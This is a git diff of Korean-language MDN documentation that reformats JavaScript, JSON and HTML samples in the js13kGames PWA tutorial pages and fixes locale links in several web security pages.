+            cache.put(e.request, response.clone());
+            return response;
+          });
+        })
+      );
+    }),
   );
 });
 ```
@@ -254,31 +278,31 @@ self.addEventListener('fetch', function(e) {
 
 ```js
 var games = [
-    {
-        slug: 'lost-in-cyberspace',
-        name: 'Lost in Cyberspace',
-        author: 'Zosia and Bartek',
-        twitter: 'bartaz',
-        website: '',
-        github: 'github.com/bartaz/lost-in-cyberspace'
-    },
-    {
-        slug: 'vernissage',
-        name: 'Vernissage',
-        author: 'Platane',
-        twitter: 'platane_',
-        website: 'github.com/Platane',
-        github: 'github.com/Platane/js13k-2017'
-    },
-// ...
-    {
-        slug: 'emma-3d',
-        name: 'Emma-3D',
-        author: 'Prateek Roushan',
-        twitter: '',
-        website: '',
-        github: 'github.com/coderprateek/Emma-3D'
-    }
+  {
+    slug: "lost-in-cyberspace",
+    name: "Lost in Cyberspace",
+    author: "Zosia and Bartek",
+    twitter: "bartaz",
+    website: "",
+    github: "github.com/bartaz/lost-in-cyberspace",
+  },
+  {
+    slug: "vernissage",
+    name: "Vernissage",
+    author: "Platane",
+    twitter: "platane_",
+    website: "github.com/Platane",
+    github: "github.com/Platane/js13k-2017",
+  },
+  // ...
+  {
+    slug: "emma-3d",
+    name: "Emma-3D",
+    author: "Prateek Roushan",
+    twitter: "",
+    website: "",
+    github: "github.com/coderprateek/Emma-3D",
+  },
 ];
 ```
 
diff --git a/files/ko/web/progressive_web_apps/tutorials/js13kgames/installable_pwas/index.md b/files/ko/web/progressive_web_apps/tutorials/js13kgames/installable_pwas/index.md
index d458171a938ec8..117f269b40acb3 100644
--- a/files/ko/web/progressive_web_apps/tutorials/js13kgames/installable_pwas/index.md
+++ b/files/ko/web/progressive_web_apps/tutorials/js13kgames/installable_pwas/index.md
@@ -28,7 +28,7 @@ original_slug: Web/Progressive_web_apps/Installable_PWAs
 [js13kPWA](https://mdn.github.io/pwa-examples/js13kpwa/) 웹 앱의 `js13kpwa.webmanifest` 파일은 코드의 다음 라인을 통해 `index.html` 파일의 {{htmlelement("head")}} 섹션에 포함됩니다.
 
 ```html
-<link rel="manifest" href="js13kpwa.webmanifest">
+<link rel="manifest" href="js13kpwa.webmanifest" />
 ```
 
 > **참고:** 과거에 manifest로 사용되던 몇 가지 흔한 확장자들이 있습니다: `manifest.webapp` 은 Firefox OS 웹 manifest로 유명하며, 많은 사람들이 JSON 구조로 내용이 구성된 `manifest.json`을 사용합니다. 하지만, `.webmanifest` 확장자는 [W3C manifest 명세](https://w3c.github.io/manifest/)에 명시적으로 언급되고 있으므로 이를 그대로 사용하도록 하겠습니다.
@@ -37,26 +37,26 @@ original_slug: Web/Progressive_web_apps/Installable_PWAs
 
 ```json
 {
-    "name": "js13kGames Progressive Web App",
-    "short_name": "js13kPWA",
-    "description": "Progressive Web App that lists games submitted to the A-Frame category in the js13kGames 2017 competition.",
-    "icons": [
-        {
-            "src": "icons/icon-32.png",
-            "sizes": "32x32",
-            "type": "image/png"
-        },
-        // ...
-        {
-            "src": "icons/icon-512.png",
-            "sizes": "512x512",
-            "type": "image/png"
-        }
-    ],
-    "start_url": "/pwa-examples/js13kpwa/index.html",
-    "display": "fullscreen",
-    "theme_color": "#B12A34",
-    "background_color": "#B12A34"
+  "name": "js13kGames Progressive Web App",
+  "short_name": "js13kPWA",
+  "description": "Progressive Web App that lists games submitted to the A-Frame category in the js13kGames 2017 competition.",
+  "icons": [
+    {
+      "src": "icons/icon-32.png",
+      "sizes": "32x32",
+      "type": "image/png"
+    },
+    // ...
+    {
+      "src": "icons/icon-512.png",
+      "sizes": "512x512",
+      "type": "image/png"
+    }
+  ],
+  "start_url": "/pwa-examples/js13kpwa/index.html",
+  "display": "fullscreen",
+  "theme_color": "#B12A34",
+  "background_color": "#B12A34"
 }
 ```
 
diff --git a/files/ko/web/progressive_web_apps/tutorials/js13kgames/offline_service_workers/index.md b/files/ko/web/progressive_web_apps/tutorials/js13kgames/offline_service_workers/index.md
index cf9f2cca248aa3..e62e946e66572c 100644
--- a/files/ko/web/progressive_web_apps/tutorials/js13kgames/offline_service_workers/index.md
+++ b/files/ko/web/progressive_web_apps/tutorials/js13kgames/offline_service_workers/index.md
@@ -37,9 +37,9 @@ Service Worker는 매우 강력하기때문에 안전한 컨텍스트(HTTPS를 
 app.js 파일에서 새로운 Service Worker를 등록하는 코드를 살펴보는 것으로 시작할 것입니다.
 
 ```js
-if('serviceWorker' in navigator) {
-    navigator.serviceWorker.register('/pwa-examples/js13kpwa/sw.js');
-};
+if ("serviceWorker" in navigator) {
+  navigator.serviceWorker.register("/pwa-examples/js13kpwa/sw.js");
+}
 ```
 
 브라우저에서 Service worker API를 지원한다면, {{domxref("ServiceWorkerContainer.register()")}} 메소드를 사용해 사이트에대해 등록됩니다. 컨텐츠는 sw\.js 파일안에 있으며 등록이 성공한 후에 실행됩니다. 이것이 app.js 파일안에 있는 Service Worker 코드의 유일한 부분입니다. Service Worker에 대한 다른 모든 것들은 sw\.js 파일에 작성되어 있습니다.
@@ -53,8 +53,8 @@ if('serviceWorker' in navigator) {
 API는 우리가 관심있는 주요 이벤트에 대한 이벤트 리스너를 추가할 수 있게 해줍니다. 첫 번째 것은 `install` 이벤트 입니다.
 
 ```js
-self.addEventListener('install', function(e) {
-    console.log('[Service Worker] Install');
+self.addEventListener("install", function (e) {
+  console.log("[Service Worker] Install");
 });
 ```
 
@@ -63,26 +63,26 @@ self.addEventListener('install', function(e) {
 먼저, 캐시 이름을 저장할 변수를 생성하고, app shell 파일들을 하나의 배열에 나열합니다.
 
 ```js
-var cacheName = 'js13kPWA-v1';
+var cacheName = "js13kPWA-v1";
 var appShellFiles = [
-  '/pwa-examples/js13kpwa/',
-  '/pwa-examples/js13kpwa/index.html',
-  '/pwa-examples/js13kpwa/app.js',
-  '/pwa-examples/js13kpwa/style.css',
-  '/pwa-examples/js13kpwa/fonts/graduate.eot',
-  '/pwa-examples/js13kpwa/fonts/graduate.ttf',
-  '/pwa-examples/js13kpwa/fonts/graduate.woff',
-  '/pwa-examples/js13kpwa/favicon.ico',
-  '/pwa-examples/js13kpwa/img/js13kgames.png',
-  '/pwa-examples/js13kpwa/img/bg.png',
-  '/pwa-examples/js13kpwa/icons/icon-32.png',
-  '/pwa-examples/js13kpwa/icons/icon-64.png',
-  '/pwa-examples/js13kpwa/icons/icon-96.png',
-  '/pwa-examples/js13kpwa/icons/icon-128.png',
-  '/pwa-examples/js13kpwa/icons/icon-168.png',
-  '/pwa-examples/js13kpwa/icons/icon-192.png',
-  '/pwa-examples/js13kpwa/icons/icon-256.png',
-  '/pwa-examples/js13kpwa/icons/icon-512.png'
+  "/pwa-examples/js13kpwa/",
+  "/pwa-examples/js13kpwa/index.html",
+  "/pwa-examples/js13kpwa/app.js",
+  "/pwa-examples/js13kpwa/style.css",
+  "/pwa-examples/js13kpwa/fonts/graduate.eot",
+  "/pwa-examples/js13kpwa/fonts/graduate.ttf",
+  "/pwa-examples/js13kpwa/fonts/graduate.woff",
+  "/pwa-examples/js13kpwa/favicon.ico",
+  "/pwa-examples/js13kpwa/img/js13kgames.png",
+  "/pwa-examples/js13kpwa/img/bg.png",
+  "/pwa-examples/js13kpwa/icons/icon-32.png",
+  "/pwa-examples/js13kpwa/icons/icon-64.png",
+  "/pwa-examples/js13kpwa/icons/icon-96.png",
+  "/pwa-examples/js13kpwa/icons/icon-128.png",
+  "/pwa-examples/js13kpwa/icons/icon-168.png",
+  "/pwa-examples/js13kpwa/icons/icon-192.png",
+  "/pwa-examples/js13kpwa/icons/icon-256.png",
+  "/pwa-examples/js13kpwa/icons/icon-512.png",
 ];
 ```
 
@@ -90,8 +90,8 @@ var appShellFiles = [
 
 ```js
 var gamesImages = [];
-for(var i=0; i<games.length; i++) {
-  gamesImages.push('data/img/'+games[i].slug+'.jpg');
+for (var i = 0; i < games.length; i++) {
+  gamesImages.push("data/img/" + games[i].slug + ".jpg");
 }
 var contentToCache = appShellFiles.concat(gamesImages);
 ```
@@ -99,13 +99,13 @@ var contentToCache = appShellFiles.concat(gamesImages);
 그러면 `install` 이벤트 자체를 관리할 수 있게 됩니다.
 
 ```js
-self.addEventListener('install', function(e) {
-  console.log('[Service Worker] Install');
+self.addEventListener("install", function (e) {
+  console.log("[Service Worker] Install");
   e.waitUntil(
-    caches.open(cacheName).then(function(cache) {
-          console.log('[Service Worker] Caching all: app shell and content');
+    caches.open(cacheName).then(function (cache) {
+      console.log("[Service Worker] Caching all: app shell and content");
       return cache.addAll(contentToCache);
-    })
+    }),
   );
 });
 ```
@@ -128,8 +128,8 @@ Service worker는 `waitUntil` 안의 코드가 실행되기전까지 설치되
 다음은 간단한 사용 예시입니다.
 
 ```js
-self.addEventListener('fetch', function(e) {
-    console.log('[Service Worker] Fetched resource '+e.request.url);
+self.addEventListener("fetch", function (e) {
+  console.log("[Service Worker] Fetched resource " + e.request.url);
 });
 ```
 
@@ -138,18 +138,23 @@ self.addEventListener('fetch', function(e) {
 예제 앱에서 우리는 리소스가 실제로 캐시에 있는한 네트워크 대신 캐시로부터 컨텐츠를 제공합니다. 앱이 온라인이든 오프라인이든간에 이렇게 수행합니다. 파일이 캐시에 없을 경우, 이를 제공하기 전에 먼저 캐시에 추가합니다.
 
 ```js
-self.addEventListener('fetch', function(e) {
+self.addEventListener("fetch", function (e) {
   e.respondWith(
-    caches.match(e.request).then(function(r) {
-          console.log('[Service Worker] Fetching resource: '+e.request.url);
-      return r || fetch(e.request).then(function(response) {
-                return caches.open(cacheName).then(function(cache) {
-          console.log('[Service Worker] Caching new resource: '+e.request.url);
-          cache.put(e.request, response.clone());
-          return response;
-        });
-      });
-    })
+    caches.match(e.request).then(function (r) {
+      console.log("[Service Worker] Fetching resource: " + e.request.url);
+      return (
+        r ||
+        fetch(e.request).then(function (response) {
+          return caches.open(cacheName).then(function (cache) {
+            console.log(
+              "[Service Worker] Caching new resource: " + e.request.url,
+            );
+            cache.put(e.request, response.clone());
+            return response;
+          });
+        })
+      );
+    }),
   );
 });
 ```
@@ -165,21 +170,21 @@ self.addEventListener('fetch', function(e) {
 다뤄야 할 하나가 더 남았습니다. 새 자원을 포함하는 앱의 새 버전이 사용가능할 때 어떻게 Service Worker를 업그레이드하나요? 캐시 이름안의 버전 넘버가 핵심입니다.
 
 ```js
-var cacheName = 'js13kPWA-v1';
+var cacheName = "js13kPWA-v1";
 ```
 
 v2로 업데이트했을 때, 새 캐시에 모든 파일(새 파일들을 포함)을 추가할 수 있습니다.
 
 ```js
-contentToCache.push('/pwa-examples/js13kpwa/icons/icon-32.png');
+contentToCache.push("/pwa-examples/js13kpwa/icons/icon-32.png");
 
 // ...
 
-self.addEventListener('install', function(e) {
+self.addEventListener("install", function (e) {
   e.waitUntil(
-    caches.open('js13kPWA-v2').then(function(cache) {
+    caches.open("js13kPWA-v2").then(function (cache) {
       return cache.addAll(contentToCache);
-    })
+    }),
   );
 });
 ```
@@ -191,15 +196,17 @@ self.addEventListener('install', function(e) {
 생략했던 `activate` 이벤트를 기억하시나요? 더 이상 필요하지 않은 오래된 캐시를 지우는데 사용할 수 있습니다.
 
 ```js
-self.addEventListener('activate', function(e) {
+self.addEventListener("activate", function (e) {
   e.waitUntil(
-    caches.keys().then(function(keyList) {
-          return Promise.all(keyList.map(function(key) {
-        if(cacheName.indexOf(key) === -1) {
-          return caches.delete(key);
-        }
-      }));
-    })
+    caches.keys().then(function (keyList) {
+      return Promise.all(
+        keyList.map(function (key) {
+          if (cacheName.indexOf(key) === -1) {
+            return caches.delete(key);
+          }
+        }),
+      );
+    }),
   );
 });
 ```
diff --git a/files/ko/web/progressive_web_apps/tutorials/js13kgames/re-engageable_notifications_push/index.md b/files/ko/web/progressive_web_apps/tutorials/js13kgames/re-engageable_notifications_push/index.md
index a6ccaf951d4558..831d9997fb2139 100644
--- a/files/ko/web/progressive_web_apps/tutorials/js13kgames/re-engageable_notifications_push/index.md
+++ b/files/ko/web/progressive_web_apps/tutorials/js13kgames/re-engageable_notifications_push/index.md
@@ -24,12 +24,12 @@ original_slug: Web/Progressive_web_apps/Re-engageable_Notifications_Push
 
 ```js
 var button = document.getElementById("notifications");
-button.addEventListener('click', function(e) {
-    Notification.requestPermission().then(function(result) {
-        if(result === 'granted') {
-            randomNotification();
-        }
-    });
+button.addEventListener("click", function (e) {
+  Notification.requestPermission().then(function (result) {
+    if (result === "granted") {
+      randomNotification();
+    }
+  });
 });
 ```
 
@@ -47,16 +47,16 @@ button.addEventListener('click', function(e) {
 
 ```js
 function randomNotification() {
-    var randomItem = Math.floor(Math.random()*games.length);
-    var notifTitle = games[randomItem].name;
-    var notifBody = 'Created by '+games[randomItem].author+'.';
-    var notifImg = 'data/img/'+games[randomItem].slug+'.jpg';
-    var options = {
-        body: notifBody,
-        icon: notifImg
-    }
-    var notif = new Notification(notifTitle, options);
-    setTimeout(randomNotification, 30000);
+  var randomItem = Math.floor(Math.random() * games.length);
+  var notifTitle = games[randomItem].name;
+  var notifBody = "Created by " + games[randomItem].author + ".";
+  var notifImg = "data/img/" + games[randomItem].slug + ".jpg";
+  var options = {
+    body: notifBody,
+    icon: notifImg,
+  };
+  var notif = new Notification(notifTitle, options);
+  setTimeout(randomNotification, 30000);
 }
 ```
 
@@ -71,7 +71,7 @@ function randomNotification() {
 앞서 언급듯이, 푸시 알림을 수신하려면 service worker가 있어야 합니다. 이를 위한 기본적인 내용은 [Service worker를 사용해 PWA를 오프라인에서 동작하게 만들기](/ko/docs/Web/Apps/Progressive/Offline_Service_workers) 문서에서 이미 설명했습니다. Service worker 안에서 푸시 서비스 구독 메커니즘이 생성됩니다.
 
 ```js
-registration.pushManager.getSubscription() .then( /* ... */ );
+registration.pushManager.getSubscription().then(/* ... */);
 ```
 
 사용자가 구독을 하기 시작하면, 서버로부터 푸시 알림을 받을 수 있습니다.
@@ -81,7 +81,9 @@ registration.pushManager.getSubscription() .then( /* ... */ );
 푸시 메시지를 수신하려면, Service Worker 파일에서 {{event("push")}}이벤트를 사용하면됩니다.
 
 ```js
-self.addEventListener('push', function(e) { /* ... */ });
+self.addEventListener("push", function (e) {
+  /* ... */
+});
 ```
 
 데이터는 반환되어 알림으로 사용자에게 즉시 보여집니다. 예를 들어, 이는 사용자에게 무언가를 다시 알려주거나, 앱에서 사용 가능한 새로운 컨텐츠에 대해 알려주는데 사용할 수 있습니다.
@@ -103,16 +105,18 @@ self.addEventListener('push', function(e) { /* ... */ });
 `index.js` 파일은 service worker를 등록하는 것으로 시작합니다.
 
 ```js
-navigator.serviceWorker.register('service-worker.js')
-.then(function(registration) {
-  return registration.pushManager.getSubscription()
-  .then(async function(subscription) {
-      // registration part
-  });
-})
-.then(function(subscription) {
+navigator.serviceWorker
+  .register("service-worker.js")
+  .then(function (registration) {
+    return registration.pushManager
+      .getSubscription()
+      .then(async function (subscription) {
+        // registration part
+      });
+  })
+  .then(function (subscription) {
     // subscription part
-});
+  });
 ```
 
 [js13kPWA 데모](https://mdn.github.io/pwa-examples/js13kpwa/)에서 봤던 service worker보다 조금 더 복잡합니다. 이 특정 케이스에서는, 등록한 후에 등록 객체를 사용해 구독하며, 그 후 구독 객체를 사용해 전체 프로세스를 완료합니다.
@@ -120,64 +124,64 @@ navigator.serviceWorker.register('service-worker.js')
 등록 파트의 코드는 다음과 같습니다.
 
 ```js
-if(subscription) {
-    return subscription;
+if (subscription) {
+  return subscription;
 }
 ```
 
 사용자가 이미 구독했을경우, 구독 객체를 반환하며 구독 파트로 이동합니다. 그렇지 않을 경우 새로운 구독을 초기화합니다.
 
 ```js
-const response = await fetch('./vapidPublicKey');
+const response = await fetch("./vapidPublicKey");
 const vapidPublicKey = await response.text();
 const convertedVapidKey = urlBase64ToUint8Array(vapidPublicKey);
 ```
 
-앱은 서버의 공개 키를 패치하고 응답을 텍스트로 변환합니다. 그 후 Uint8Array(Chrome 지원을 위해)로 변환이 필요합니다. VAPID 키에 대한 자세한 내용은 [Sending VAPID identified WebPush Notifications via Mozilla’s Push Service](https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/) 블로그 포스트를 읽어보시기 바랍니다.
+앱은 서버의 공개 키를 패치하고 응답을 텍스트로 변환합니다. 그 후 Uint8Array(Chrome 지원을 위해)로 변환이 필요합니다. VAPID 키에 대한 자세한 내용은 [Sending VAPID identified WebPush Notifications via Mozilla's Push Service](https://blog.mozilla.org/services/2016/08/23/sending-vapid-identified-webpush-notifications-via-mozillas-push-service/) 블로그 포스트를 읽어보시기 바랍니다.
 
 앱은 이제 새로운 사용자를 구독하기 위해 {{domxref("PushManager")}}를 사용합니다. 두 옵션이 {{domxref("PushManager.subscribe()")}} 메소드로 전달됩니다. 첫 번째는 `userVisibleOnly: true`이며 사용자에게 전송되는 모든 알림이 보여진다는 것을 의미하며, 두 번째 것은 `applicationServerKey`이며 성공적으로 획득하고 변환된 VAPID 키를 포함합니다.
 
 ```js
 return registration.pushManager.subscribe({
-    userVisibleOnly: true,
-    applicationServerKey: convertedVapidKey
+  userVisibleOnly: true,
+  applicationServerKey: convertedVapidKey,
 });
 ```
 
 이제 구독 파트로 이동해봅시다. 앱은 Fetch를 사용해 먼저 서버로 JSON으로 된 구독 상세 정보를 전송합니다.
 
 ```js
-fetch('./register', {
-    method: 'post',
-    headers: {
-        'Content-type': 'application/json'
-    },
-    body: JSON.stringify({
-        subscription: subscription
-    }),
+fetch("./register", {
+  method: "post",
+  headers: {
+    "Content-type": "application/json",
+  },
+  body: JSON.stringify({
+    subscription: subscription,
+  }),
 });
 ```
 
 그 다음 _구독_ 버튼의 {{domxref("onclick","GlobalEventHandlers.onclick")}}이 정의됩니다.
 
 ```js
-document.getElementById('doIt').onclick = function() {
-    const payload = document.getElementById('notification-payload').value;
-    const delay = document.getElementById('notification-delay').value;
-    const ttl = document.getElementById('notification-ttl').value;
-
-    fetch('./sendNotification', {
-        method: 'post',
-        headers: {
-            'Content-type': 'application/json'
-        },
-        body: JSON.stringify({
-            subscription: subscription,
-            payload: payload,
-            delay: delay,
-            ttl: ttl,
-        }),
-    });
+document.getElementById("doIt").onclick = function () {
+  const payload = document.getElementById("notification-payload").value;
+  const delay = document.getElementById("notification-delay").value;
+  const ttl = document.getElementById("notification-ttl").value;
+
+  fetch("./sendNotification", {
+    method: "post",
+    headers: {
+      "Content-type": "application/json",
+    },
+    body: JSON.stringify({
+      subscription: subscription,
+      payload: payload,
+      delay: delay,
+      ttl: ttl,
+    }),
+  });
 };
 ```
 
@@ -192,51 +196,53 @@ document.getElementById('doIt').onclick = function() {
 [web-push 모듈](https://www.npmjs.com/package/web-push)은 VAPID 키를 설정하기 위해 사용되며, 존재하지 않을 경우 선택적으로 생성합니다.
 
 ```js
-const webPush = require('web-push');
+const webPush = require("web-push");
 
 if (!process.env.VAPID_PUBLIC_KEY || !process.env.VAPID_PRIVATE_KEY) {
-  console.log("You must set the VAPID_PUBLIC_KEY and VAPID_PRIVATE_KEY "+
-    "environment variables. You can use the following ones:");
+  console.log(
+    "You must set the VAPID_PUBLIC_KEY and VAPID_PRIVATE_KEY " +
+      "environment variables. You can use the following ones:",
+  );
   console.log(webPush.generateVAPIDKeys());
   return;
 }
 
 webPush.setVapidDetails(
-  'https://github.com/mdn/serviceworker-cookbook/',
+  "https://github.com/mdn/serviceworker-cookbook/",
   process.env.VAPID_PUBLIC_KEY,
-  process.env.VAPID_PRIVATE_KEY
+  process.env.VAPID_PRIVATE_KEY,
 );
 ```
 
 그 다음, 모듈은 앱이 처리해야할 모든 라우트(VAPID 공개 키 얻기, 등록 후 알림 보내기)를 정의하고 내보냅니다. `index.js` 파일에서 사용중인 `payload`, `delay`, `ttl` 변수를 볼 수 있습니다.
 
 ```js
-module.exports = function(app, route) {
-  app.get(route + 'vapidPublicKey', function(req, res) {
+module.exports = function (app, route) {
+  app.get(route + "vapidPublicKey", function (req, res) {
     res.send(process.env.VAPID_PUBLIC_KEY);
   });
 
-  app.post(route + 'register', function(req, res) {
-
+  app.post(route + "register", function (req, res) {
     res.sendStatus(201);
   });
 
-  app.post(route + 'sendNotification', function(req, res) {
+  app.post(route + "sendNotification", function (req, res) {
     const subscription = req.body.subscription;
     const payload = req.body.payload;
     const options = {
-      TTL: req.body.ttl
+      TTL: req.body.ttl,
     };
 
-    setTimeout(function() {
-      webPush.sendNotification(subscription, payload, options)
-      .then(function() {
-        res.sendStatus(201);
-      })
-      .catch(function(error) {
-        console.log(error);
-        res.sendStatus(500);
-      });
+    setTimeout(function () {
+      webPush
+        .sendNotification(subscription, payload, options)
+        .then(function () {
+          res.sendStatus(201);
+        })
+        .catch(function (error) {
+          console.log(error);
+          res.sendStatus(500);
+        });
     }, req.body.delay * 1000);
   });
 };
@@ -247,13 +253,13 @@ module.exports = function(app, route) {
 마지막으로 살펴볼 파일은 service worker입니다.
 
 ```js
-self.addEventListener('push', function(event) {
-    const payload = event.data ? event.data.text() : 'no payload';
-    event.waitUntil(
-        self.registration.showNotification('ServiceWorker Cookbook', {
-            body: payload,
-        })
-    );
+self.addEventListener("push", function (event) {
+  const payload = event.data ? event.data.text() : "no payload";
+  event.waitUntil(
+    self.registration.showNotification("ServiceWorker Cookbook", {
+      body: payload,
+    }),
+  );
 });
 ```
 
diff --git a/files/ko/web/security/index.md b/files/ko/web/security/index.md
index 622ba63698ceaa..bc2e6e9612db15 100644
--- a/files/ko/web/security/index.md
+++ b/files/ko/web/security/index.md
@@ -67,7 +67,7 @@ l10n:
 {{Glossary("Clickjacking", "클릭재킹")}}은 사용자가 기대하는 것과 다른 작업을 수행하는 UI 요소를 클릭하도록 속입니다.
 
 - [HTTP X-Frame-Options](/ko/docs/Web/HTTP/Headers/X-Frame-Options)
-  - : **`X-Frame-Options`** [HTTP](/en-US/docs/Web/HTTP) 응답 헤더는 브라우저가 {{htmlelement("frame")}}, {{htmlelement("iframe")}}, {{htmlelement("embed")}} 또는 {{htmlelement("object")}}에서 페이지를 렌더링하도록 허용해야 하는지 여부를 나타내는 데 사용할 수 있습니다. 사이트는 이를 사용하여 콘텐츠가 다른 사이트에 포함되지 않도록 함으로써 {{Glossary("Clickjacking", "클릭재킹")}} 공격을 피할 수 있습니다.
+  - : **`X-Frame-Options`** [HTTP](/ko/docs/Web/HTTP) 응답 헤더는 브라우저가 {{htmlelement("frame")}}, {{htmlelement("iframe")}}, {{htmlelement("embed")}} 또는 {{htmlelement("object")}}에서 페이지를 렌더링하도록 허용해야 하는지 여부를 나타내는 데 사용할 수 있습니다. 사이트는 이를 사용하여 콘텐츠가 다른 사이트에 포함되지 않도록 함으로써 {{Glossary("Clickjacking", "클릭재킹")}} 공격을 피할 수 있습니다.
 - [CSP: frame-ancestors](/ko/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
   - : HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`frame-ancestors`** 지시문은 {{HTMLElement("frame")}}, {{HTMLElement("iframe")}}, {{HTMLElement("object")}}, {{HTMLElement("embed")}}, 또는 {{HTMLElement("applet")}}을 사용하여 페이지를 포함할 수 있는 유효한 부모를 지정합니다.
 
@@ -76,7 +76,7 @@ l10n:
 - [안전하지 않은 비밀번호](/ko/docs/Web/Security/Insecure_passwords)
   - : HTTP를 통해 로그인 양식을 제공하는 것은 사용자 암호를 추출하기 위해 사용할 수 있는 다양한 공격으로 인해 특히 위험합니다. 네트워크 도청자는 네트워크를 스니핑하거나 전송 중인 페이지를 수정하여 사용자의 비밀번호를 훔칠 수 있습니다.
 - [개인 정보 및 :visited 선택자](/ko/docs/Web/CSS/Privacy_and_the_:visited_selector)
-  - : 2010년 이전에는 [CSS](/en-US/docs/Web/CSS) {{cssxref(":visited")}} 선택자를 사용하여 웹사이트에서 사용자의 검색 기록을 발견하고 사용자가 방문한 사이트를 파악할 수 있었습니다. 이 문제를 완화하기 위해 브라우저는 방문한 링크에서 얻을 수 있는 정보의 양을 제한했습니다.
+  - : 2010년 이전에는 [CSS](/ko/docs/Web/CSS) {{cssxref(":visited")}} 선택자를 사용하여 웹사이트에서 사용자의 검색 기록을 발견하고 사용자가 방문한 사이트를 파악할 수 있었습니다. 이 문제를 완화하기 위해 브라우저는 방문한 링크에서 얻을 수 있는 정보의 양을 제한했습니다.
 
 ## 보안 관련 용어
 
diff --git a/files/ko/web/security/insecure_passwords/index.md b/files/ko/web/security/insecure_passwords/index.md
index e6e0477b033489..a7dbd6b6f31560 100644
--- a/files/ko/web/security/insecure_passwords/index.md
+++ b/files/ko/web/security/insecure_passwords/index.md
@@ -15,11 +15,11 @@ HTTP를 통한 로그인 양식은 특히 사용자의 비밀번호를 추출하
 
 1. Firefox 51버전부터는 로그인 페이지에 보안 연결이 없는 경우, 아래와 보이는 것과 같은 주소 표시줄에 빨간색으로 취소 표시가 있는 잠금 아이콘을 표시합니다.
 
-    ![Lock Icon](https://support.cdn.mozilla.net/media/uploads/gallery/images/2015-11-17-12-13-18-2faa61.png)
+   ![Lock Icon](https://support.cdn.mozilla.net/media/uploads/gallery/images/2015-11-17-12-13-18-2faa61.png)
 
 2. Firefox 52버전부터는 URL 표시줄과 안전하지 않은 양식의 선택된 비밀번호 필드 아래에 명확한 경고를 표시합니다.
 
-    ![Warning](https://support.cdn.mozilla.net/media/uploads/gallery/images/2017-04-21-23-52-53-ba340d.png)
+   ![Warning](https://support.cdn.mozilla.net/media/uploads/gallery/images/2017-04-21-23-52-53-ba340d.png)
 
 3. Firefox 52버전부터는 안전하지 않은 로그인 양식에 대한 자동 채우기도 비활성화했습니다. 사용자는 저장된 로그인 정보를 드롭다운 목록에서 수동으로 완료할 수 있습니다.
 4. 안전하지 않은 로그인 양식에 대한 경고는 다음 섹션에서 설명하는 것처럼 모든 Firefox 릴리스의 개발자 콘솔 보안창에서 찾을 수 있습니다.
@@ -52,4 +52,4 @@ Form action이 HTTPS URL 인 경우에도 공격자는 사용자가 받을 페
 
 - [HTTP를 통한 비밀번호는 더 이상 안됩니다, 제발!](https://blog.mozilla.org/tanvi/2016/01/28/no-more-passwords-over-http-please/) — 더 자세한 정보와 FAQ를 가진 블로그.
 
-{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}
+{{QuickLinksWithSubpages("/ko/docs/Web/Security")}}
diff --git a/files/ko/web/security/same-origin_policy/index.md b/files/ko/web/security/same-origin_policy/index.md
index fd1578fe72d1f8..e405dacb68fefe 100644
--- a/files/ko/web/security/same-origin_policy/index.md
+++ b/files/ko/web/security/same-origin_policy/index.md
@@ -96,24 +96,24 @@ document.domain = "company.com";
 
 교차 출처에서 `Window`의 다음 항목에 접근할 수 있습니다.
 
-| 메서드                                       |
-| -------------------------------------------- |
-| {{domxref("window.blur")}}         |
-| {{domxref("window.close")}}         |
-| {{domxref("window.focus")}}         |
+| 메서드                            |
+| --------------------------------- |
+| {{domxref("window.blur")}}        |
+| {{domxref("window.close")}}       |
+| {{domxref("window.focus")}}       |
 | {{domxref("window.postMessage")}} |
 
-| 속성                                     |            |
-| ---------------------------------------- | ---------- |
-| {{domxref("window.closed")}}     | 읽기 전용. |
-| {{domxref("window.frames")}}     | 읽기 전용. |
-| {{domxref("window.length")}}     | 읽기 전용. |
+| 속성                           |            |
+| ------------------------------ | ---------- |
+| {{domxref("window.closed")}}   | 읽기 전용. |
+| {{domxref("window.frames")}}   | 읽기 전용. |
+| {{domxref("window.length")}}   | 읽기 전용. |
 | {{domxref("window.location")}} | 읽기/쓰기. |
-| {{domxref("window.opener")}}     | 읽기 전용. |
-| {{domxref("window.parent")}}     | 읽기 전용. |
+| {{domxref("window.opener")}}   | 읽기 전용. |
+| {{domxref("window.parent")}}   | 읽기 전용. |
 | {{domxref("window.self")}}     | 읽기 전용. |
-| {{domxref("window.top")}}         | 읽기 전용. |
-| {{domxref("window.window")}}     | 읽기 전용. |
+| {{domxref("window.top")}}      | 읽기 전용. |
+| {{domxref("window.window")}}   | 읽기 전용. |
 
 일부 브라우저는 위의 항목보다 더 많은 접근을 허용할 수도 있습니다.
 
@@ -121,12 +121,12 @@ document.domain = "company.com";
 
 교차 출처에서 `Location`의 다음 항목에 접근할 수 있습니다.
 
-| 메서드                                   |
-| ---------------------------------------- |
+| 메서드                          |
+| ------------------------------- |
 | {{domxref("location.replace")}} |
 
-| 속성                                 |            |
-| ------------------------------------ | ---------- |
+| 속성                         |            |
+| ---------------------------- | ---------- |
 | {{domxref("URLUtils.href")}} | 쓰기 전용. |
 
 일부 브라우저는 위의 항목보다 더 많은 접근을 허용할 수도 있습니다.
diff --git a/files/ko/web/security/transport_layer_security/index.md b/files/ko/web/security/transport_layer_security/index.md
index e7555d53935501..0df02314b22152 100644
--- a/files/ko/web/security/transport_layer_security/index.md
+++ b/files/ko/web/security/transport_layer_security/index.md
@@ -2,6 +2,7 @@
 title: Transport Layer Security
 slug: Web/Security/Transport_Layer_Security
 ---
+
 TLS(Transport Layer Security)를 사용하는 연결의 보안은 암호 스위트(Ciper Suites)와 선택된 보안 파라메터에 강하게 의존합니다. 이 문서는 클라이언트와 서버 사이의 기밀성과 무결성 통신을 보장하기 위한 결정을 하도록 돕는 것이 목적입니다. 모질라 운영 보안(OpSec) 팀은 서버를 위한 참조용 설정이 있는 [위키](https://wiki.mozilla.org/Security/Server_Side_TLS)를 관리합니다..
 
 TLS(Transport Layer Security) 프로토콜은 네트워크로 연결된 두 개의 어플리케이션 혹은 디바이스가 비밀스럽고 강건하게 정보를 교환하도록 하는 표준입니다. TLS를 사용하는 어플리케이션은 데이터의 보안과 신뢰성에 상당한 영향을 미칠 수 있는 보안 파라메터를 선택할 수 있습니다. 이 글은 TLS에 대한 개요와 컨텐츠를 보호할 때 결정해야 할 사항에 대해 설명합니다.
